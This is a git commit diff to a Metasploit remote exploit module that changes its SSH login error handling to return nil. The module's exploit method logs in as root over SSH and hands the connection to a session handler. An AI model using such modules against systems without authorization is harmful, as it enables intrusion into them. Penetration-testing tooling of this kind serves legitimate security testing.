Return nil when an error occurred

Avoids anti-pattern of testing for a specific class.
unstable
James Lee 2012-06-13 09:41:20 -06:00
parent a2aaca5e85
commit 1138290a64
1 changed files with 6 additions and 5 deletions

View File

@ -94,17 +94,18 @@ class Metasploit3 < Msf::Exploit::Remote
ssh_socket = Net::SSH.start(rhost, user, opt_hash) ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end end
rescue Rex::ConnectionError, Rex::AddressInUse rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error return
rescue Net::SSH::Disconnect, ::EOFError rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return :connection_disconnect return
rescue ::Timeout::Error rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return :connection_disconnect return
rescue Net::SSH::AuthenticationFailed rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication" print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e rescue Net::SSH::Exception => e
return [:fail,nil] # For whatever reason. print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end end
if ssh_socket if ssh_socket
@ -121,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit def exploit
conn = do_login("root") conn = do_login("root")
if conn.class == Net::SSH::CommandStream if conn
print_good "Successful login" print_good "Successful login"
handler(conn.lsock) handler(conn.lsock)
end end